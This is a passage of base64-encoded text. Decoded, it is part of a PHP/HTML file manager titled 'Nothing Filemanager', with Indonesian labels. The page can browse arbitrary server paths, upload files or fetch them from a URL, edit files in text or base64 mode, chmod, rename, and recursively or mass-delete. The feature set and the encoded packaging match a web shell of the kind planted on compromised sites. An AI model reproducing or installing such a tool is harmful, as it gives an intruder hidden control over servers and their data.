cm0gLjA1cyBlYXNlLGJveC1zaGFkb3cgLjE1cyBlYXNlLGJhY2tncm91bmQgLjE1cyBlYXNlfS5idG46aG92ZXJ7YmFja2dyb3VuZDojMjU2M2ViO2JveC1zaGFkb3c6MCA2cHggMTZweCByZ2IoMzcgOTkgMjM1IC8gLjQ1KX0uYnRuOmFjdGl2ZXt0cmFuc2Zvcm06dHJhbnNsYXRlWSguNXB4KX0uYnRuLXhze3BhZGRpbmc6LjI1cmVtIC41cmVtO2ZvbnQtc2l6ZTouNzVyZW07Ym9yZGVyLXJhZGl1czo4cHh9LmJ0bi1zbXtwYWRkaW5nOi4zNXJlbSAuNnJlbTtmb250LXNpemU6LjgxMjVyZW07Ym9yZGVyLXJhZGl1czo5cHh9LmJ0bnd7bWluLXdpZHRoOjkwcHh9LnBsYWNlaG9sZGVye3Zpc2liaWxpdHk6aGlkZGVufS5maWVsZHtib3JkZXI6MXB4IHNvbGlkICMxZjI5Mzc7Ym9yZGVyLXJhZGl1czoxMHB4O3BhZGRpbmc6LjVyZW0gLjc1cmVtO3dpZHRoOjEwMCU7YmFja2dyb3VuZDojMDIwNjE3O2NvbG9yOiNlNWU3ZWJ9LmZpZWxkOjpwbGFjZWhvbGRlcntjb2xvcjojNmI3MjgwfS5maWVsZDpmb2N1c3tvdXRsaW5lOm5vbmU7Ym94LXNoYWRvdzowIDAgMCAzcHggcmdiKDU5IDEzMCAyNDYgLyAuNyk7Ym9yZGVyLWNvbG9yOiMzYjgyZjZ9LmNoaXB7ZGlzcGxheTppbmxpbmUtYmxvY2s7cGFkZGluZzouMTVyZW0gLjQ1cmVtO2ZvbnQtc2l6ZTouNjVyZW07Ym9yZGVyLXJhZGl1czo5OTlweDtiYWNrZ3JvdW5kOiMwZjE3MmE7Y29sb3I6I2JmZGJmZTtib3JkZXI6MXB4IHNvbGlkICMxZDRlZDh9Lm1vbm97Zm9udC1mYW1pbHk6dWktbW9ub3NwYWNlLFNGTW9uby1SZWd1bGFyLE1lbmxvLE1vbmFjbyxDb25zb2xhcywiTGliZXJhdGlvbiBNb25vIiwiQ291cmllciBOZXciLG1vbm9zcGFjZX0udGJsIHRoZWFkIHRoe3Bvc2l0aW9uOnN0aWNreTt0b3A6MDtiYWNrZ3JvdW5kOiMwMjA2MTc7ei1pbmRleDoxO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMxZjI5Mzd9LnRibCB0Ym9keSB0cntib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMDIwNjE3fS50YmwgdGJvZHkgdHI6aG92ZXJ7YmFja2dyb3VuZDojMDIwNjE3fS5yb3ctYWN0aW9uc3tkaXNwbGF5OmdyaWQ7Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOnJlcGVhdCg2LG1pbm1heCg5MHB4LGF1dG8pKTtnYXA6LjM1cmVtO2p1c3RpZnktaXRlbXM6c3RhcnR9LnJvdy1hY3Rpb25zPmZvcm17ZGlzcGxheTppbmxpbmV9QG1lZGlhIChtYXgtd2lkdGg6MTAyNHB4KXsucm93LWFjdGlvbnN7Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOnJlcGVhdCgzLG1pbm1heCg5MHB4LGF1dG8pKX19LmNydW1iIGF7Y29sb3I6IzYwYTVmYTt0ZXh0LWRlY29yYXRpb246bm9uZX0uY3J1bWIgYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfS5pY297d2lkdGg6MjBweDtoZWlnaHQ6MjBweDtkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjp0ZXh0LWJvdHRvbTtjb2xvcjojZTVlN2VifS5uYW1lLWNlbGx7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6LjVyZW19LmJhZGdlLXNtYWxse2ZvbnQtc2l6ZToxMXB4O3BhZGRpbmc6LjFyZW0gLjRyZW07Ym9yZGVyLXJhZGl1czo5OTlweDtiYWNrZ3JvdW5kOiMxMTE4Mjc7Y29sb3I6I2E1YjRmYztib3JkZXI6MXB4IHNvbGlkICM0ZjQ2ZTV9LnRhYntwYWRkaW5nOi4yNXJlbSAuNXJlbTtib3JkZXI6MXB4IHNvbGlkICMxZjI5Mzc7Ym9yZGVyLXJhZGl1czo4cHg7Y29sb3I6I2U1ZTdlYjtiYWNrZ3JvdW5kOiMwMjA2MTd9LnRhYi5hY3RpdmV7YmFja2dyb3VuZDojMjU2M2ViO2NvbG9yOiNmZmY7Ym9yZGVyLWNvbG9yOiMyNTYzZWJ9Lm5vdGV7Zm9udC1zaXplOi43NXJlbTtjb2xvcjojOWNhM2FmfS52aWV3cG9ydHtmbGV4OjE7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbn0udGFibGV3cmFwe21heC1oZWlnaHQ6Y2FsYygxMDB2aCAtIDI5MHB4KTtvdmVyZmxvdzphdXRvfUBtZWRpYSAobWF4LWhlaWdodDo3MDBweCl7LnRhYmxld3JhcHttYXgtaGVpZ2h0OmNhbGMoMTAwdmggLSAzNDBweCl9fTwvc3R5bGU+DQoNCjwvaGVhZD4NCjxib2R5IGNsYXNzPSJzaGVsbCB0ZXh0LXNsYXRlLTEwMCI+DQoNCg0KPGhlYWRlciBjbGFzcz0idy1mdWxsIGJvcmRlci1iIGJvcmRlci1zbGF0ZS04MDAgYmctc2xhdGUtOTAwLzgwIGJhY2tkcm9wLWJsdXIiPg0KDQogICAgPGRpdiBjbGFzcz0idy1mdWxsIHB4LTYgcHktMyBmbGV4IGl0ZW1zLWNlbnRlciBqdXN0aWZ5LWJldHdlZW4iPg0KICAgICAgPGRpdiBjbGFzcz0iZmxleCBpdGVtcy1jZW50ZXIgZ2FwLTMiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LTJ4bCI+DQogICAgICAgICAgPD9waHAgZWNobyBzdmdJY29uKCdmb2xkZXInLCdpY28nKTsgPz4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXY+DQo8ZGl2IGNsYXNzPSJ0ZXh0LWxnIGZvbnQtc2VtaWJvbGQgdHJhY2tpbmctdGlnaHQgdGV4dC1zbGF0ZS0xMDAiPk5vdGhpbmcgRmlsZW1hbmFnZXI8L2Rpdj4NCjxkaXYgY2xhc3M9InRleHQteHMgdGV4dC1zbGF0ZS0zMDAiPlBIUCA8P3BocCBlY2hvIGgoUEhQX1ZFUlNJT04pOyA/PjwvZGl2Pg0KDQogICAgICAgIDwvZGl2Pg0KICAgICAgPC9kaXY+DQogICAgICA8ZGl2IGNsYXNzPSJmbGV4IGl0ZW1zLWNlbnRlciBnYXAtMyI+DQogICAgICAgIDxkaXYgY2xhc3M9InRleHQtc20gdGV4dC1zbGF0ZS0yMDAiPlBhdGg6IDxzcGFuIGNsYXNzPSJtb25vIHRleHQtc2xhdGUtMTAwIj48P3BocCBlY2hvIGgoJGN1cnJlbnQpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9hPWxvZ291dCZwPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4iIGNsYXNzPSJtbC0yIj4NCiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmIiB2YWx1ZT0iPD9waHAgZWNobyBoKCRjc3JmKTsgPz4iPg0KICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20iIHR5cGU9InN1Ym1pdCI+TG9nb3V0PC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICA8L2hlYWRlcj4NCg0KICA8IS0tIE1BSU4gLS0+DQogIDxtYWluIGNsYXNzPSJ2aWV3cG9ydCB3LWZ1bGwgcHgtNiBweS00Ij4NCg0KICAgIDw/cGhwIGlmICghZW1wdHkoJF9TRVNTSU9OWydtc2cnXSkpOiA/Pg0KICAgICAgPGRpdiBjbGFzcz0ibWItNCByb3VuZGVkLWxnIGJvcmRlciBib3JkZXItc2t5LTcwMCBiZy1za3ktOTAwLzYwIHRleHQtc2t5LTEwMCBweC00IHB5LTMiPg0KICAgICAgICA8P3BocCBlY2hvIGgoJF9TRVNTSU9OWydtc2cnXSk7IHVuc2V0KCRfU0VTU0lPTlsnbXNnJ10pOyA/Pg0KICAgICAgPC9kaXY+DQogICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICA8IS0tIEJyZWFkY3J1bWJzIC0tPg0KICAgIDxkaXYgY2xhc3M9ImNydW1iIG1iLTQgdGV4dC1zbSBmbGV4IGl0ZW1zLWNlbnRlciBnYXAtMiBmbGV4LXdyYXAiPg0KICAgICAgPD9waHAgZm9yZWFjaCAoYnJlYWRjcnVtYnMoJGN1cnJlbnQpIGFzICRpID0+ICRjcnVtYik6IGxpc3QoJG5hbWUsJHBhdGgpID0gJGNydW1iOyA/Pg0KICAgICAgICA8P3BocCBpZiAoJGkpIGVjaG8gJzxzcGFuIGNsYXNzPSJ0ZXh0LWdyYXktNDAwIj4vPC9zcGFuPic7ID8+DQogICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRwYXRoKTsgPz4iIGNsYXNzPSJpbmxpbmUtZmxleCBpdGVtcy1jZW50ZXIgZ2FwLTEiPg0KICAgICAgICAgIDxzcGFuIGNsYXNzPSJweC0yIHB5LTAuNSBiZy1zbGF0ZS04MDAgcm91bmRlZC1tZCBib3JkZXIgYm9yZGVyLXNsYXRlLTcwMCB0ZXh0LXNsYXRlLTEwMCI+DQo8P3BocCBlY2hvIGgoJG5hbWUpOyA/Pjwvc3Bhbj4NCiAgICAgICAgPC9hPg0KICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gVG9wIEdyaWQgLS0+DQogICAgPGRpdiBjbGFzcz0iZ3JpZCBncmlkLWNvbHMtMSBtZDpncmlkLWNvbHMtMyBnYXAtNCI+DQogICAgICA8IS0tIEdhbnRpIFBhdGggLS0+DQogICAgICA8c2VjdGlvbiBjbGFzcz0ibWQ6Y29sLXNwYW4tMSBzcGFjZS15LTQiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIHAtNCI+DQogICAgICAgICAgPGgyIGNsYXNzPSJmb250LW1lZGl1bSBtYi0yIj5HYW50aSBQYXRoPC9oMj4NCiAgICAgICAgICA8Zm9ybSBtZXRob2Q9ImdldCIgY2xhc3M9InNwYWNlLXktMiI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icCIgY2xhc3M9ImZpZWxkIG1vbm8iIHBsYWNlaG9sZGVyPSIvaG9tZS91c2VyIiB2YWx1ZT0iPD9waHAgZWNobyBoKCRjdXJyZW50KTsgPz4iPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmxleCBnYXAtMiI+DQogICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG53IiB0eXBlPSJzdWJtaXQiPkdvPC9idXR0b24+DQogICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4gYnRudyIgaHJlZj0iPyI+S2UgY3dkKCk8L2E+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KICAgICAgPC9zZWN0aW9uPg0KDQogICAgICA8IS0tIFVwbG9hZCAtLT4NCiAgICAgIDxzZWN0aW9uIGNsYXNzPSJtZDpjb2wtc3Bhbi0yIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBwLTQiPg0KICAgICAgICAgIDxoMiBjbGFzcz0iZm9udC1tZWRpdW0gbWItMyI+VXBsb2FkIGtlOiA8c3BhbiBjbGFzcz0ibW9ubyI+PD9waHAgZWNobyBoKCRjdXJyZW50KTsgPz48L3NwYW4+PC9oMj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJncmlkIGdyaWQtY29scy0xIGxnOmdyaWQtY29scy0yIGdhcC00Ij4NCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI/YT11cGxvYWQmcD08P3BocCBlY2hvIHJhd3VybGVuY29kZSgkY3VycmVudCk7ID8+IiBjbGFzcz0ic3BhY2UteS0yIj4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY3NyZiIgdmFsdWU9Ijw/cGhwIGVjaG8gaCgkY3NyZik7ID8+Ij4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVzW10iIG11bHRpcGxlIGNsYXNzPSJibG9jayI+DQogICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG53IiB0eXBlPSJzdWJtaXQiPlVwbG9hZDwvYnV0dG9uPg0KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LXhzIHRleHQtZ3JheS02MDAiPkZhbGxiYWNrOiBtb3ZlID0+IHJlbmFtZSA9PiBjb3B5ID0+IGdldCtwdXQgPT4gc3RyZWFtIGNvcHkuPC9kaXY+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2E9dXJsLXVwbG9hZCZwPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4iIGNsYXNzPSJzcGFjZS15LTIiPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmIiB2YWx1ZT0iPD9waHAgZWNobyBoKCRjc3JmKTsgPz4iPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idXJsIiBuYW1lPSJ1cmwiIGNsYXNzPSJmaWVsZCIgcGxhY2Vob2xkZXI9Imh0dHBzOi8vZXhhbXBsZS5jb20vZmlsZS56aXAiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiIGNsYXNzPSJmaWVsZCIgcGxhY2Vob2xkZXI9Ik5hbWEgZmlsZSAob3BzaW9uYWwpIj4NCiAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bnciIHR5cGU9InN1Ym1pdCI+QW1iaWwgZGFyaSBVUkw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC14cyB0ZXh0LWdyYXktNjAwIj5NZXRvZGU6IGNVUkwgPT4gY29weShzdHJlYW0pID0+IGdldCtwdXQgPT4gc3RyZWFtIGNvcHkuPC9kaXY+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgPC9zZWN0aW9uPg0KICAgIDwvZGl2Pg0KDQogICAgPCEtLSBFZGl0b3IgLS0+DQogICAgPD9waHAgaWYgKCRlZGl0RmlsZSk6ID8+DQogICAgICA8P3BocA0KICAgICAgICAkYXV0b01vZGUgPSAoJHZpZXdNb2RlID09PSAnYXV0bycpOw0KICAgICAgICBpZiAoJGF1dG9Nb2RlKSAkdmlld01vZGUgPSBpc1RleHRGaWxlKCRlZGl0RmlsZSkgPyAndHh0JyA6ICdiNjQnOw0KICAgICAgICAkcmF3Q29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZWRpdEZpbGUpOw0KICAgICAgICBpZiAoJHJhd0NvbnRlbnQgPT09IGZhbHNlKSAkcmF3Q29udGVudCA9ICcnOw0KICAgICAgICAkZGlzcGxheSA9ICgkdmlld01vZGUgPT09ICdiNjQnKSA/IGJhc2U2NF9lbmNvZGUoJHJhd0NvbnRlbnQpIDogJHJhd0NvbnRlbnQ7DQogICAgICA/Pg0KICAgICAgPHNlY3Rpb24gY2xhc3M9ImNhcmQgcC00IG10LTQiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJmbGV4IGl0ZW1zLWNlbnRlciBqdXN0aWZ5LWJldHdlZW4gZ2FwLTIiPg0KICAgICAgICAgIDxoMiBjbGFzcz0iZm9udC1tZWRpdW0iPkVkaXQ6IDxzcGFuIGNsYXNzPSJtb25vIj48P3BocCBlY2hvIGgoYmFzZW5hbWUoJGVkaXRGaWxlKSk7ID8+PC9zcGFuPjwvaDI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibm90ZSI+VWt1cmFuOiA8P3BocCBlY2hvIGgoaHVtYW5TaXplKChpbnQpQGZpbGVzaXplKCRlZGl0RmlsZSkpKTsgPz4geCBNb2RlOg0KICAgICAgICAgICAgPGEgY2xhc3M9InRhYiA8P3BocCBlY2hvICR2aWV3TW9kZT09PSd0eHQnPydhY3RpdmUnOicnOyA/PiIgaHJlZj0iP2E9ZWRpdCZmPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKGJhc2VuYW1lKCRlZGl0RmlsZSkpOyA/PiZwPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4mbW9kZT10eHQiPlRleHQ8L2E+DQogICAgICAgICAgICA8YSBjbGFzcz0idGFiIDw/cGhwIGVjaG8gJHZpZXdNb2RlPT09J2I2NCc/J2FjdGl2ZSc6Jyc7ID8+IiBocmVmPSI/YT1lZGl0JmY9PD9waHAgZWNobyByYXd1cmxlbmNvZGUoYmFzZW5hbWUoJGVkaXRGaWxlKSk7ID8+JnA9PD9waHAgZWNobyByYXd1cmxlbmNvZGUoJGN1cnJlbnQpOyA/PiZtb2RlPWI2NCI+QmFzZTY0PC9hPg0KICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2E9ZWRpdC1zYXZlJnA9PD9waHAgZWNobyByYXd1cmxlbmNvZGUoJGN1cnJlbnQpOyA/PiI+DQogICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY3NyZiIgdmFsdWU9Ijw/cGhwIGVjaG8gaCgkY3NyZik7ID8+Ij4NCiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iPD9waHAgZWNobyBoKGJhc2VuYW1lKCRlZGl0RmlsZSkpOyA/PiI+DQogICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibW9kZSIgdmFsdWU9Ijw/cGhwIGVjaG8gaCgkdmlld01vZGUpOyA/PiI+DQogICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIGNsYXNzPSJ3LWZ1bGwgaC05NiBib3JkZXIgYm9yZGVyLWdyYXktMjAwIHJvdW5kZWQteGwgcC0zIG1vbm8iIHNwZWxsY2hlY2s9ImZhbHNlIj48P3BocCBlY2hvIGgoJGRpc3BsYXkpOyA/PjwvdGV4dGFyZWE+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibXQtMyBmbGV4IGZsZXgtd3JhcCBnYXAtMiBpdGVtcy1jZW50ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bnciIHR5cGU9InN1Ym1pdCI+U2ltcGFuPC9idXR0b24+DQogICAgICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bnciIGhyZWY9Ij9wPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4iPkJhdGFsPC9hPg0KICAgICAgICAgICAgPD9waHAgaWYgKCR2aWV3TW9kZT09PSdiNjQnKTogPz4NCiAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Im5vdGUiPk1vZGUgQmFzZTY0OiBrb250ZW4gYWthbiBkaS1kZWNvZGUgc2FhdCBkaXNpbXBhbi48L3NwYW4+DQogICAgICAgICAgICA8P3BocCBlbHNlOiA/Pg0KICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibm90ZSI+TW9kZSBUZXh0OiBjb2NvayB1bnR1ayBmaWxlIHRla3MuIFVudHVrIGJpbmFyeSwgZ3VuYWthbiBCYXNlNjQuPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZm9ybT4NCiAgICAgIDwvc2VjdGlvbj4NCiAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgIDwhLS0gTGlzdGluZyAtLT4NCiAgICA8c2VjdGlvbiBjbGFzcz0iY2FyZCBwLTQgbXQtNCBmbGV4IGZsZXgtY29sIj4NCiAgICAgIDxkaXYgY2xhc3M9ImZsZXggaXRlbXMtY2VudGVyIGp1c3RpZnktYmV0d2VlbiBtYi0zIj4NCiAgICAgICAgPGgyIGNsYXNzPSJmb250LW1lZGl1bSI+SXNpIEZvbGRlcjwvaDI+DQogICAgICAgIDxkaXYgY2xhc3M9InRleHQtc20gdGV4dC1ncmF5LTYwMCI+RGlyOiA8P3BocCBlY2hvIGNvdW50KCRkaXJzKTsgPz4geCBGaWxlOiA8P3BocCBlY2hvIGNvdW50KCRmaWxlcyk7ID8+PC9kaXY+DQogICAgICA8L2Rpdj4NCg0KICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9hPW1hc3MtZGVsZXRlJnA9PD9waHAgZWNobyByYXd1cmxlbmNvZGUoJGN1cnJlbnQpOyA/PiIgY2xhc3M9ImZsZXgtMSBmbGV4IGZsZXgtY29sIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY3NyZiIgdmFsdWU9Ijw/cGhwIGVjaG8gaCgkY3NyZik7ID8+Ij4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIGZsZXggZmxleC13cmFwIGdhcC0yIj4NCiAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bnciIHR5cGU9InN1Ym1pdCIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJ0hhcHVzIHNlbXVhIHlhbmcgZGlwaWxpaD8nKSI+SGFwdXMgVGVycGlsaWg8L2J1dHRvbj4NCiAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bnciIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0ic2VsZWN0QWxsKHRydWUpIj5TZWxlY3QgQWxsPC9idXR0b24+DQogICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG53IiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InNlbGVjdEFsbChmYWxzZSkiPlNlbGVjdCBOb25lPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9InRhYmxld3JhcCBvdmVyZmxvdy14LWF1dG8gcm91bmRlZC14bCBib3JkZXIgZmxleC0xIj4NCiAgICAgICAgICA8dGFibGUgY2xhc3M9InRibCBtaW4tdy1mdWxsIHRleHQtc20iPg0KICAgICAgICAgICAgPHRoZWFkIGNsYXNzPSJ0ZXh0LWxlZnQgYm9yZGVyLWIiPg0KICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRoIGNsYXNzPSJweS0yIHB4LTIgdy0xMCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0iY2hrQWxsIiBvbmNsaWNrPSJ0b2dnbGVBbGwodGhpcykiPjwvdGg+DQogICAgICAgICAgICAgICAgPHRoIGNsYXNzPSJweS0yIHB4LTIiPk5hbWE8L3RoPg0KICAgICAgICAgICAgICAgIDx0aCBjbGFzcz0icHktMiBweC0yIj5Va3VyYW48L3RoPg0KICAgICAgICAgICAgICAgIDx0aCBjbGFzcz0icHktMiBweC0yIj5QZXJtczwvdGg+DQogICAgICAgICAgICAgICAgPHRoIGNsYXNzPSJweS0yIHB4LTIiPk1vZGlmaWthc2k8L3RoPg0KICAgICAgICAgICAgICAgIDx0aCBjbGFzcz0icHktMiBweC0yIj5Ba3NpPC90aD4NCiAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDwvdGhlYWQ+DQogICAgICAgICAgICA8dGJvZHk+DQoNCiAgICAgICAgICAgICAgPCEtLSBEaXJzIC0tPg0KICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZGlycyBhcyAkbmFtZSk6ICRmdWxsPSRjdXJyZW50LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG5hbWU7ID8+DQogICAgICAgICAgICAgIDx0ciBjbGFzcz0iYm9yZGVyLWIiPg0KICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0icHktMiBweC0yIj48aW5wdXQgY2xhc3M9InJvd2NoayIgdHlwZT0iY2hlY2tib3giIG5hbWU9Iml0ZW1zW10iIHZhbHVlPSI8P3BocCBlY2hvIGgoJG5hbWUpOyA/PiI+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InB5LTIgcHgtMiI+DQogICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYW1lLWNlbGwiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGljb25TdmdGb3IoJGZ1bGwpOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0idGV4dC1ibHVlLTcwMCBob3Zlcjp1bmRlcmxpbmUgZm9udC1tZWRpdW0iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRmdWxsKTsgPz4iPjw/cGhwIGVjaG8gaCgkbmFtZSk7ID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYmFkZ2Utc21hbGwiPkRJUjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJweS0yIHB4LTIiPi08L3RkPg0KICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0icHktMiBweC0yIG1vbm8iPjw/cGhwIGVjaG8gaChwZXJtc1RvU3RyaW5nKCRmdWxsKSk7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InB5LTIgcHgtMiI+PD9waHAgZWNobyBoKGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZnVsbCkgPzogdGltZSgpKSk7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InB5LTIgcHgtMiI+DQogICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ctYWN0aW9ucyI+DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJidG4gYnRuLXhzIGJ0bncgcGxhY2Vob2xkZXIiPkVkaXQ8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJidG4gYnRuLXhzIGJ0bncgcGxhY2Vob2xkZXIiPkRvd25sb2FkPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4teHMgYnRudyIgb25jbGljaz0idG9nZ2xlUm93KCdybi08P3BocCBlY2hvIGgoJG5hbWUpOyA/PicpIj5SZW5hbWU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXhzIGJ0bnciIG9uY2xpY2s9InRvZ2dsZVJvdygnY20tPD9waHAgZWNobyBoKCRuYW1lKTsgPz4nKSI+Q2htb2Q8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9hPWRlbGV0ZSZwPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4iIG9uc3VibWl0PSJyZXR1cm4gY29uZmlybSgnSGFwdXMgZm9sZGVyIGluaSAocmVrdXJzaWYpPycpIiBjbGFzcz0iaW5saW5lIj4NCiAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmIiB2YWx1ZT0iPD9waHAgZWNobyBoKCRjc3JmKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRhcmdldCIgdmFsdWU9Ijw/cGhwIGVjaG8gaCgkbmFtZSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXhzIGJ0bnciIHR5cGU9InN1Ym1pdCI+RGVsZXRlPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICA8IS0tIFJlbmFtZSBwYW5lbCAtLT4NCiAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InJuLTw/cGhwIGVjaG8gaCgkbmFtZSk7ID8+IiBjbGFzcz0iaGlkZGVuIG10LTIiPg0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2E9cmVuYW1lJnA9PD9waHAgZWNobyByYXd1cmxlbmNvZGUoJGN1cnJlbnQpOyA/PiIgY2xhc3M9ImZsZXggZmxleC13cmFwIGdhcC0yIj